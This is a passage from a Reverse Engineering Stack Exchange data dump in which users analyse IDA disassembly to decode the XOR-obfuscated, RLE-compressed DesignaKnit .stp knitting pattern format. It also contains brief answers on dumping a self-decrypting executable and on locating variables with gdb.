&#xA;.text:004146D8                 push    eax  &#xA;.text:004146D9                 push    esi  &#xA;.text:004146DA                 call    sub_4141D0  &#xA;.text:004146DF                 add     esp, 8  &#xA;.text:004146E2                 add     esi, eax  &#xA;.text:004146E4                 mov     eax, [esp+860h+var_84C+2]  &#xA;.text:004146E8                 mov     [esp+860h+var_804], esi  &#xA;.text:004146EC                 push    eax  &#xA;.text:004146ED                 push    esi  &#xA;.text:004146EE                 call    sub_4141D0  &#xA;.text:004146F3                 add     esp, 8  &#xA;.text:004146F6                 add     esi, eax  &#xA;.text:004146F8                 mov     al, [esi+6EFh]  &#xA;.text:004146FE                 mov     [esp+860h+var_834], esi  &#xA;.text:00414702                 add     esi, 6EFh  &#xA;.text:00414708                 cmp     al, 20h  &#xA;.text:0041470A                 mov     [esp+860h+var_838], esi  &#xA;.text:0041470E                 jnz     short loc_414716  &#xA;.text:00414710                 cmp     byte ptr [esi+2], 2Eh  &#xA;.text:00414714                 jz      short loc_414720  &#xA;.text:00414716  &#xA;.text:00414716 loc_414716:             ; CODE XREF: TestSTP+25E j  &#xA;.text:00414716                 cmp     byte ptr [esi+2], 20h  &#xA;.text:0041471A                 jnz     short loc_414781  &#xA;.text:0041471C                 cmp     al, 2Eh  &#xA;.text:0041471E                 jnz     short loc_414781  &#xA;.text:00414720  &#xA;.text:00414720 loc_414720:          ; CODE XREF: TestSTP+264 j  &#xA;.text:00414720                 mov     [esp+860h+var_81C], 30h  &#xA;.text:00414728                 mov     edi, esi  &#xA;.text:0041472A  &#xA;.text:0041472A loc_41472A:             ; CODE XREF: TestSTP+2CF j  &#xA;.text:0041472A                 test    byte ptr [edi+1], 3  &#xA;.text:0041472E                 jz      short loc_414778  &#xA;.text:00414730                 xor     eax, eax  &#xA;.text:00414732                 mov     al, [edi]  &#xA;.text:00414734                 push    eax             ; int  &#xA;.text:00414735          push    offset a_gdejziki ; &quot; .âäàåçêèë&quot;  &#xA;.text:0041473A                 call    ds:__imp_strchr  &#xA;.text:00414740                 add     esp, 8  &#xA;.text:00414743                 test    eax, eax  &#xA;.text:00414745                 jz      short loc_414754  &#xA;.text:00414747      sub     eax, offset a_gdejziki ; &quot; .âäàåçêèë&quot;  &#xA;.text:0041474C                 mov     al, byte_42EB00[eax]  &#xA;.text:00414752                 mov     [edi], al  &#xA;&#xA;-------------------------------------------------------------------------------------------------------------------------------  &#xA;&#xA;&#xA;&#xA;.text:00421CE6                 align 10h  &#xA;.text:00421CF0  &#xA;.text:00421CF0 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦  &#xA;.text:00421CF0  &#xA;.text:00421CF0  &#xA;.text:00421CF0 sub_421CF0      proc near ; CODE XREF: .text:00403D0C p  &#xA;.text:00421CF0                                         ; .text:00403E2C p ...  &#xA;.text:00421CF0  &#xA;.text:00421CF0 var_4           = dword ptr -4  &#xA;.text:00421CF0 arg_0           = dword ptr  4  &#xA;.text:00421CF0 arg_4           = dword ptr  8  &#xA;.text:00421CF0 arg_8           = dword ptr  0Ch  &#xA;.text:00421CF0 arg_C           = dword ptr  10h  &#xA;.text:00421CF0  &#xA;.text:00421CF0                 sub     esp, 4  &#xA;.text:00421CF3                 push    ebx  &#xA;.text:00421CF4                 push    esi  &#xA;.text:00421CF5                 mov     esi, [esp+0Ch+arg_4]  &#xA;.text:00421CF9                 push    edi  &#xA;.text:00421CFA                 push    ebp  &#xA;.text:00421CFB                 cmp     esi, 7FFFFFC0h  &#xA;.text:00421D01                 jbe     short loc_421D0D  &#xA;.text:00421D03                 xor     eax, eax  &#xA;.text:00421D05                 pop     ebp  &#xA;.text:00421D06                 pop     edi  &#xA;.text:00421D07                 pop     esi  &#xA;.text:00421D08                 pop     ebx  &#xA;.text:00421D09                 add     esp, 4  &#xA;.text:00421D0C                 retn  &#xA;.text:00421D0D ; ------------------------------------------------  &#xA;.text:00421D0D  &#xA;.text:00421D0D loc_421D0D:          ; CODE XREF: sub_421CF0+11 j  &#xA;.text:00421D0D                 mov     edi, [esp+14h+arg_0]  &#xA;.text:00421D11                 and     edi, 7FFFFFFFh  &#xA;.text:00421D17                 cmp     edi, 8  &#xA;.text:00421D1A                 jb      short loc_421D26  &#xA;.text:00421D1C                 xor     eax, eax  &#xA;.text:00421D1E                 pop     ebp  &#xA;.text:00421D1F                 pop     edi  &#xA;.text:00421D20                 pop     esi  &#xA;.text:00421D21                 pop     ebx  &#xA;.text:00421D22                 add     esp, 4  &#xA;.text:00421D25                 retn  &#xA;.text:00421D26 ; ------------------------------------------------  &#xA;.text:00421D26  &#xA;.text:00421D26 loc_421D26:           ; CODE XREF: sub_421CF0+2A j  &#xA;.text:00421D26                 mov     eax, edi  &#xA;.text:00421D28                 shl     eax, 5  &#xA;.text:00421D2B               lea     ebx, dword_429BC8[eax+eax*2]  &#xA;.text:00421D32                 cmp     dword ptr [ebx+10h], 0  &#xA;.text:00421D36                 jnz     short loc_421D51  &#xA;.text:00421D38                 push    7Fh  &#xA;.text:00421D3A                 push    10h  &#xA;.text:00421D3C                 push    0FDh  &#xA;.text:00421D41                 push    80000h  &#xA;.text:00421D46                 push    0  &#xA;.text:00421D48                 push    ebx  &#xA;.text:00421D49                 call    sub_421ED0  &#xA;.text:00421D4E                 add     esp, 18h  &#xA;.text:00421D51  &#xA;.text:00421D51 loc_421D51:           ; CODE XREF: sub_421CF0+46 j  &#xA;.text:00421D51                 cmp     [ebx+5Ch], esi  &#xA;.text:00421D54                 jnz     short loc_421D65  &#xA;.text:00421D56                 push    edi  &#xA;.text:00421D57                 push    esi  &#xA;.text:00421D58                 push    offset aSomeoneTriesTo ; &quot;Someone tries to allocate %u bytes in p&quot;...  &#xA;.text:00421D5D                 call    sub_420DB0  &#xA;.text:00421D62                 add     esp, 0Ch  &#xA;.text:00421D65  &#xA;.text:00421D65 loc_421D65:           ; CODE XREF: sub_421CF0+64 j  &#xA;.text:00421D65                 lea     edi, [esi+2Bh]  &#xA;.text:00421D68                 mov     eax, [ebx+58h]  &#xA;.text:00421D6B                 shr     edi, 5  &#xA;.text:00421D6E                 inc     edi  &#xA;.text:00421D6F                 test    eax, eax  &#xA;.text:00421D71                 jz      short loc_421D7E  &#xA;.text:00421D73         push    0FFFFFFFFh      ; dwMilliseconds  &#xA;.text:00421D75                 push    eax             ; hHandle  &#xA;.text:00421D76                 call    ds:WaitForSingleObject  &#xA;.text:00421D7C                 jmp     short loc_421D8A  &#xA;.text:00421D7E ; ------------------------------------------------  &#xA;.text:00421D7E  &#xA;.text:00421D7E loc_421D7E:        ; CODE XREF: sub_421CF0+81 j  &#xA;.text:00421D7E                 lea     eax, [ebx+18h]  &#xA;.text:00421D81               mov     ebp, ds:EnterCriticalSection  &#xA;.text:00421D87        push    eax             ; lpCriticalSection  &#xA;.text:00421D88                 call    ebp ; EnterCriticalSection  &#xA;.text:00421D8A  &#xA;.text:00421D8A loc_421D8A:           ; CODE XREF: sub_421CF0+8C j  &#xA;.text:00421D8A                 push    edi  &#xA;.text:00421D8B                 push    esi  &#xA;.text:00421D8C                 push    ebx  &#xA;.text:00421D8D                 call    sub_421AD0  &#xA;.text:00421D92                 mov     [esp+20h+var_4], eax  &#xA;.text:00421D96                 add     esp, 0Ch  &#xA;.text:00421D99                 mov     eax, [ebx+58h]  &#xA;.text:00421D9C                 test    eax, eax  &#xA;.text:00421D9E                 jz      short loc_421DA9  &#xA;.text:00421DA0                 push    eax             ; hMutex  &#xA;.text:00421DA1                 call    ds:ReleaseMutex  &#xA;.text:00421DA7                 jmp     short loc_421DB5  &#xA;.text:00421DA9 ; ------------------------------------------------  &#xA;.text:00421DA9  &#xA;.text:00421DA9 loc_421DA9:           ; CODE XREF: sub_421CF0+AE j  &#xA;.text:00421DA9                 lea     eax, [ebx+18h]  &#xA;.text:00421DAC         mov     ebp, ds:LeaveCriticalSection  &#xA;.text:00421DB2        push    eax             ; lpCriticalSection  &#xA;.text:00421DB3                 call    ebp ; LeaveCriticalSection  &#xA;.text:00421DB5  &#xA;.text:00421DB5 loc_421DB5:           ; CODE XREF: sub_421CF0+B7 j  &#xA;.text:00421DB5                 cmp     [esp+14h+var_4], 0  &#xA;.text:00421DBA                 jz      short loc_421E18  &#xA;.text:00421DBC                 mov     edx, [esp+14h+var_4]  &#xA;.text:00421DC0                 mov     edi, [esp+14h+var_4]  &#xA;.text:00421DC4                 sub     edx, 20h  &#xA;.text:00421DC7                 xor     eax, eax  &#xA;.text:00421DC9                 mov     ecx, esi  &#xA;.text:00421DCB                 shr     ecx, 2  &#xA;.text:00421DCE                 rep stosd  &#xA;.text:00421DD0                 mov     ecx, esi  &#xA;.text:00421DD2                 and     ecx, 3  &#xA;.text:00421DD5                 rep stosb  &#xA;.text:00421DD7                 mov     ebp, [edx+4]  &#xA;.text:00421DDA                 mov     eax, [ebx+3Ch]  &#xA;.text:00421DDD                 sub     ebp, esi  &#xA;.text:00421DDF                 mov     ch, al  &#xA;.text:00421DE1                 sub     ebp, 28h  &#xA;.text:00421DE4                 mov     cl, al  &#xA;.text:00421DE6                 mov     eax, ecx  &#xA;.text:00421DE8                 mov     edi, [esp+14h+var_4]  &#xA;.text:00421DEC                 shl     eax, 10h  &#xA;.text:00421DEF                 add     edi, esi  &#xA;.text:00421DF1                 mov     ax, cx  &#xA;.text:00421DF4                 mov     ecx, ebp  &#xA;.text:00421DF6                 shr     ecx, 2  &#xA;.text:00421DF9                 rep stosd  &#xA;.text:00421DFB                 mov     ecx, ebp  &#xA;.text:00421DFD                 and     ecx, 3  &#xA;.text:00421E00                 rep stosb  &#xA;.text:00421E02                 mov     ebp, [edx+4]  &#xA;.text:00421E05                 mov     ecx, [esp+14h+arg_8]  &#xA;.text:00421E09                 mov     eax, [esp+14h+arg_C]  &#xA;.text:00421E0D                 mov     [ebp+edx-8], ecx  &#xA;.text:00421E11                 mov     ebp, [edx+4]  &#xA;.text:00421E14                 mov     [ebp+edx-4], eax  &#xA;.text:00421E18  &#xA;.text:00421E18 loc_421E18:           ; CODE XREF: sub_421CF0+CA j  &#xA;.text:00421E18                 mov     eax, [esp+14h+var_4]  &#xA;.text:00421E1C                 pop     ebp  &#xA;.text:00421E1D                 pop     edi  &#xA;.text:00421E1E                 pop     esi  &#xA;.text:00421E1F                 pop     ebx  &#xA;.text:00421E20                 add     esp, 4  &#xA;.text:00421E23                 retn  &#xA;.text:00421E23 sub_421CF0      endp  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that Guntram Blohm has helped me (for my thanks from Germany - and I hope he help me furthermore) and we are on the right track. That's why I still try around a bit and hope to get a little more clarity. First: older Designaknit-format is *.pat. But i do not know *.sti-format??   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number of pallet data can be more than 48, perhaps, but only these 48 are important because the program has only 48 colors.&lt;br&gt;&#xA;The first color (size 25 bytes) starts 325 !! (13 blocks) bytes behind the last data block. Then, the color block 48 used to follow each 25 bytes. Unused colors are marked with the number 0h. Perhaps other color blocks have been reserved (before and after the 48 palette colors) for future updates for more colors ??&lt;br&gt;&#xA;The data itself is compressed by a simple run-ength-Encryption. However, the bytes have been encrypted. I made many tests and found out a lot:&lt;br&gt;&#xA;Are at the beginning at the bottom left of the image a plurality of identical pixels, so you can calculate the number of this table:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;left 4 bits&lt;br&gt;&#xA;0 = B&lt;br&gt;&#xA;16 = A&lt;br&gt;&#xA;32 = 9&lt;br&gt;&#xA;48 = 8&lt;br&gt;&#xA;64 = F&lt;br&gt;&#xA;80 = E&lt;br&gt;&#xA;96 = D&lt;br&gt;&#xA;112 = C  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;right 4 bits:&lt;br&gt;&#xA;5 = 0&lt;br&gt;&#xA;4 = 1&lt;br&gt;&#xA;7 = 2&lt;br&gt;&#xA;6 = 3&lt;br&gt;&#xA;1 = 4&lt;br&gt;&#xA;0 = 5&lt;br&gt;&#xA;3 = 6&lt;br&gt;&#xA;2 = 7&lt;br&gt;&#xA;D = 8&lt;br&gt;&#xA;C = 9&lt;br&gt;&#xA;F = 10&lt;br&gt;&#xA;9 = 12&lt;br&gt;&#xA;8 = 13&lt;br&gt;&#xA;B = 14&lt;br&gt;&#xA;A = 15  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means if at position FC in the file z. B. B7 (hex) is so &quot;7 = 2&quot; pixels &quot;B = 0&quot; + a total of 2 same color pixel bottom left available.&lt;br&gt;&#xA;This is the same for each file. However, this table thereafter at each pixel changes and is also different from file to file.&lt;br&gt;&#xA;The same applies to the palette numbers. In my tests, it looked as if the pallets would thoroughly mixed after each pixel on the system. As an example, were prepared from 1 + 2 = 3 + 4, and from 3 + 4 = + 1 second This then repeated through the whole range. But it can be also mixed different (but still on the system) (Example 1 = 2, 2 = 1, 3 = 4, 4 = 3 ...) or remain the same.&lt;br&gt;&#xA;ti mix, but also the change of the number of pixels is probably controlled by a key that is different from file to file changes (data for the key at positions 41h, 60h, 20h (byte), 35h (4 bytes), 39h (4 bytes) , 3dh (2 bytes) and 3fh (2 bytes) -from Guntram) I do not know if I'm right, but maybe sub_41D5A0 a simple RLE-decoding, which then decrypts the data obtained in sub_41cf20 for the key ??  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alfred  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hello,&#xA;your project is really very, very good and helps me a lot. &#xA;I think the second part of the data block is correctly decoded. the same character (solid block of! characters) must always be displayed for jacquards. For hole pattern right / left pattern, cables etc. to change. Then, in the second section various characters appear (z. B. right Decreuse, left Decreuse, double Decreuse, eyelet, right transfer, transfer left ....) The characters are taken out of the font file to indicate this.&#xA;I've just tried it and it's like I said. These files are then in the first section only same characters and in the second section of the pattern is present (with different instructions - Reassign - right - left, etc.)&#xA;But the Internet almost exclusively in Jacquard stp format are available.&lt;br&gt;&#xA;It would be really great I could Assembler. Thy counsel from the first mail.&lt;br&gt;&#xA;Thank you very much&lt;br&gt;&#xA;Alfred&lt;/p&gt;&#xA;" OwnerUserId="15423" LastEditorUserId="15442" LastEditDate="2016-03-23T05:56:30.117" LastActivityDate="2020-05-29T02:59:20.093" Title="Reading stp (Designaknit Stitch Pattern)-Files II" Tags="|ida|file-format|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12236" PostTypeId="2" ParentId="12231" CreationDate="2016-03-17T07:55:04.943" Score="0" Body="&lt;p&gt;If you modify the firmware and rebuild it, then the CRC values should be changed. So, the new CRC values may be correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't have to do anything with the CRC32 polynomial table, because it means only that &lt;code&gt;binwalk&lt;/code&gt; found a CRC32 table in the boot loader. This table is used to calculate the CRC32 value in a fast way.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2016-03-17T07:55:04.943" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12239" PostTypeId="2" ParentId="12235" CreationDate="2016-03-17T11:56:11.213" Score="5" Body="&lt;p&gt;You should really learn some assembler, and x86 processor architecture, to attempt this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To give you a bit of a start:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;var_*&lt;/code&gt; declarations correspond to local variables on the stack of the current function. The number of bytes between variables give you a hint about the size of these variables. For example, you have a &lt;code&gt;var_400&lt;/code&gt;, a &lt;code&gt;var_800&lt;/code&gt; and a &lt;code&gt;var_804&lt;/code&gt;. These are offsets &lt;em&gt;below&lt;/em&gt; the top of the stack, so you have 1 variable ranging from 400 to 0 , another ranging from 800 to 400, and another from 804 to 800 (and a lot more that i omitted right now). Since these are hex numbers, and hex 400 equals dec 1024, this seems like 2 character arrays of 1K size each (likely used as buffer when reading a file), and a 4 byte integer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;code&gt;call&lt;/code&gt; is, like the name suggests, a function call. Before the call, function arguments are &lt;code&gt;push&lt;/code&gt;ed on the stack; after the call, the result value is in the &lt;code&gt;eax&lt;/code&gt; register. So, for example, before your &lt;code&gt;fopen&lt;/code&gt; call, you see a &lt;code&gt;push eax&lt;/code&gt; - this is the file name - and in front of that a &lt;code&gt;push offset aRb&lt;/code&gt; - which pushes a pointer to the string &quot;rb&quot;, which is the mode paraemter of &lt;code&gt;fopen&lt;/code&gt;. The file name, &lt;code&gt;eax&lt;/code&gt;, has been set in the instruction before that , &lt;code&gt;mov eax, [esp+860h+arg_C]&lt;/code&gt;, so now you know the 4th argument to this function (&lt;code&gt;arg_0&lt;/code&gt;=1, &lt;code&gt;arg_4&lt;/code&gt;=2, &lt;code&gt;arg_8&lt;/code&gt;=3, &lt;code&gt;arg_C&lt;/code&gt;=4) is the name of the file to read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a function call, the result is in &lt;code&gt;eax&lt;/code&gt;. This code moves &lt;code&gt;eax&lt;/code&gt; to &lt;code&gt;esi&lt;/code&gt;, then tests if &lt;code&gt;esi&lt;/code&gt; is 0 (technically, it checks if any bits are set if you &lt;code&gt;and&lt;/code&gt; esi with itself, the &lt;code&gt;test&lt;/code&gt; opcode does an &lt;code&gt;and&lt;/code&gt; without storing the result. &lt;code&gt;test XXX,XXX&lt;/code&gt; is a commonly used pattern to check if &lt;code&gt;XXX&lt;/code&gt; is 0). If not, the function contiues; if &lt;code&gt;esi&lt;/code&gt; is 0, &quot;something&quot; is done with a value of &lt;code&gt;fffffffd&lt;/code&gt;, which corresponds to -3 . So this whole part looks like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ((fp=fopen(filename, &quot;rb&quot;))==NULL)&#xA;    do_something_with(-3);               &amp;lt;-- probably just a return&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the &lt;code&gt;esi&lt;/code&gt; register is used for the &lt;code&gt;fp&lt;/code&gt; variable from then on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, your code &lt;code&gt;fseek&lt;/code&gt;s to the end of the file (see the &lt;code&gt;push 2&lt;/code&gt; for the &lt;code&gt;whence&lt;/code&gt; argument, and the &lt;code&gt;push 0&lt;/code&gt; for the &lt;code&gt;position&lt;/code&gt; argument), then calls &lt;code&gt;ftell&lt;/code&gt;. Obviously it uses this to find the size of the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sub_421CF0&lt;/code&gt; gets called with parameters (0, filesize, &quot;U:...\STI.C&quot;, 841), and the result of &lt;code&gt;sub_421CF0&lt;/code&gt; is used as the buffer parameter for the following &lt;code&gt;fread&lt;/code&gt;. Even without looking at that function, i'll bet a dollar that it uses &lt;code&gt;malloc&lt;/code&gt; or similar to allocate memory, and throws an error message that involves the source code file name and line number in case it fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later after the fread, as you said, &lt;em&gt;something&lt;/em&gt; is compared to &lt;code&gt;D7c&lt;/code&gt;. If you download an stp file, and hex dump it, you'll see it starts with &lt;code&gt;D7c&lt;/code&gt; as well. So, even without checking the code further, i'd say this part returns an error (-4 corresponding to &lt;code&gt;fffffffc&lt;/code&gt;) if the file doesn't have the correct header, and doesn't seem to be a valid stp file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to sum it up, yes, you seem to have found the correct function - opening a file, finding its size, allocating a buffer of that size, reading the whole file into that buffer, and checking if the buffer starts with the correct magic bytes is a clear hint at that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Also, you see the programmer made a cardinal error here by not checking the return value of &lt;code&gt;fread&lt;/code&gt;; there's no guarantee fread returns as many bytes as requested even if the file size is sufficient).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to understand the file format from that, you really have to invest a lot more time into checking what's done to the bytes that have been read. You really need to learn x86 architecture and assembler, as it's quite improbable someone will wade through all the rest of that code for you. But if you understood what i said up to here, you're on a good path.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Looking at your function a bit more closely, this seems to be a conversion function from STP files to STI files, and there is a similar function, sub_413b60, that does the same thing for files that begin with &lt;code&gt;D4c&lt;/code&gt; and &lt;code&gt;D6c&lt;/code&gt;, probably older file format versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following the function &lt;code&gt;sub_4144B0&lt;/code&gt; gives good hints at the file format., extending the knowledge you found in your &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/12222/reading-stp-designaknit-stitch-pattern-files&quot;&gt;first question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At offset F8, there may actually be several (1..n) blocks of data, which all have the same format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2 bytes height&#xA;2 bytes size; this seems to be capped at 21000, read on&#xA;(size) bytes data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This height does not have to match the height that is given at file offset 5, but a height that &lt;em&gt;does&lt;/em&gt; match that file offset denotes the end of those blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, there's another chain of blocks of the same structure; again, the block having the height of from file offset 5 is the last block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, there's 1775 bytes of Palette data, which amounts to 71 entries, not the 48 entries you had in your data format example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data within the abovementioned blocks is encrypted. There is a function &lt;code&gt;sub_41D5A0&lt;/code&gt;, which uses a simple xor decryption to decrypt all of them. This function steps over blocks, decrypting them, until it finds the one having the correct height; then repeats the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The xor key itself is set up in &lt;code&gt;sub_41cf20&lt;/code&gt;, which is called from the start of &lt;code&gt;sub_41D5A0&lt;/code&gt;. This function seems to take the strings(1) from file positions 41h and 60h, and the integer values from positions 20h(byte), 35h(4 bytes), 39h (4 bytes), 3dh (2 bytes) and 3fh (2 bytes) to generate one long string, which then serves as an initializer to generate a 21000 byte xor-pattern in the static buffer at 424310. The size of this buffer, and the fact that the loop terminates at 21001, is why i said the size seems to be capped there. The key generation itself seems to be quite complicated though, so it would be neccesary to do some dynamic analysis to verify if what i assume the code does is really the case, and i haven't been able to do so, yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) String in this case means pascal-type string; 1 byte length; &lt;em&gt;length&lt;/em&gt; bytes data.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE II&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I decoded some more of the file format, and put up a java project that can read the files at &lt;a href=&quot;https://github.com/gbl/D7CReader&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/gbl/D7CReader&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some more light on the data blocks and color palette entries:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first chain of data blocks seems to contain the stitches themselves. After XOR decoding and RLE uncompression, it seems like mostly printable characters are used, for example '!' and digits. These characters are indexes into the color palette table; which explains why the first entries of that table - nonprintable ascii charactes - seem to be unused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The RLE decompression is quite simple. An input byte that has its highest bit clear (&amp;lt;=127) is passed through as is. An input byte that has the higest bit set (&gt;=128) is a count; the byte itself, after clearing the highest byte, is the number of repetitions, the next byte is the byte that needs to be repeated. So, for example, &lt;code&gt;83 21&lt;/code&gt; means 3 repetitions of the &lt;code&gt;!&lt;/code&gt; character; &lt;code&gt;95 31&lt;/code&gt; means 21 repetitions of &lt;code&gt;1&lt;/code&gt;, and &lt;code&gt;31 38 34&lt;/code&gt; means &lt;code&gt;184&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the encryption key is generated, the algorithm starts with a string of digits, then expands that string by &lt;code&gt;xor&lt;/code&gt;ing each byte with a value that is derived from the index of the byte. This means that the xor string starts with a few digits before going binary. Since all of the digits have an ascii hex value of &lt;code&gt;3X&lt;/code&gt;, and most of the RLE length bytes look like &lt;code&gt;8X&lt;/code&gt;, this explains how most of the encrypted RLE bytes start with &lt;code&gt;BX&lt;/code&gt;, at least at the start of the encrypted RLE stream.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second chain of data blocks seems to contain stitch types. It's RLE encoded just like the first one, but the resulting bytes are indexes into a lookup table found in the original file, behind the color table. In all my files, the result was a solid block of &lt;code&gt;!&lt;/code&gt; characters. There seems to be something more going on with these, and i assume this block will have some markers when the number of columns per row isn't constant, but i didn't investigate further into this.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2016-03-20T12:49:00.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12240" PostTypeId="1" AcceptedAnswerId="12241" CreationDate="2016-03-17T14:11:06.630" Score="0" ViewCount="438" Body="&lt;p&gt;Say i have Windows executable that looks like normal one, but actually has encrypted segments or blocks of code, and the way it calculates key to decrypt itself at run-time way hard for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to try create a decrypted version of that program by stripping out &quot;self-decryptor part&quot; and exporting program as it was at run-time (under debug). I am not looking for way to find &amp;amp; remove decryption-related code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having IDA Pro (or  other tools), how can i re-save executable file at run-time (after program decrypted itself), or i am thinking in completely wrong direction and should not try doing it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8910/packed-pe-file-where-to-start?rq=1&quot;&gt;this answer and question&lt;/a&gt; but i am wondering if i really cannot just re-save executable at runtime and try to make it &quot;runnable&quot;? Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="12981" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-03-17T14:53:24.410" Title="Create unprotected executable for program that decrypts itself at run-time dynamically?" Tags="|ida|windows|x86|pe|decryption|" AnswerCount="1" CommentCount="0" ClosedDate="2016-03-18T08:01:23.780" ContentLicense="CC BY-SA 3.0" />
  <row Id="12241" PostTypeId="2" ParentId="12240" CreationDate="2016-03-17T14:53:24.410" Score="2" Body="&lt;p&gt;If you are dealing with a packed/crypted executable it is not possible to just dump the file from memory and make it &quot;runnable&quot;. You need to do at least two things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Modify the &lt;a href=&quot;https://en.wikipedia.org/wiki/Entry_point&quot; rel=&quot;nofollow noreferrer&quot;&gt;Entry Point&lt;/a&gt; so that you bypass the execution of the code in the unpacking stub.&lt;/li&gt;&#xA;&lt;li&gt;Fix the &lt;a href=&quot;https://en.wikipedia.org/wiki/Portable_Executable#Import_Table&quot; rel=&quot;nofollow noreferrer&quot;&gt;import table&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To do these two things, you need to have some basic understanding about the &lt;a href=&quot;https://en.wikipedia.org/wiki/Portable_Executable&quot; rel=&quot;nofollow noreferrer&quot;&gt;PE file format&lt;/a&gt;. You can find some useful links about the PE file format in this &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/11478/12897&quot;&gt;answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know what type of crypter/packer is being used on the file, feel free to upload the sample or tell me so I can maybe give you some guidelines on obtaining the payload. You can check this with a tool like &lt;a href=&quot;https://www.aldeid.com/wiki/PEiD&quot; rel=&quot;nofollow noreferrer&quot;&gt;PEid&lt;/a&gt; or &lt;a href=&quot;http://exeinfo.atwebpages.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ExeInfo&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12897" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2016-03-17T14:53:24.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12242" PostTypeId="2" ParentId="11995" CreationDate="2016-03-17T15:28:24.707" Score="1" Body="&lt;p&gt;I was trying amritanshu's answer using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int z;&#xA;int main() &#xA;{&#xA;    int x;&#xA;    x = 5;&#xA;    z = 6;&#xA;    return 0; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note that z is a global variable and x is a local variable.  I ran the program in gdb, paused execution of the program at the line &lt;strong&gt;x = 5&lt;/strong&gt;. When I used the command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;info address z&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got the following response:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Symbol &quot;z&quot; is static storage at address 0x601030.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And when I typed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;info symbol 0x601030&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;GDB displayed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;z in section .bss&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, the 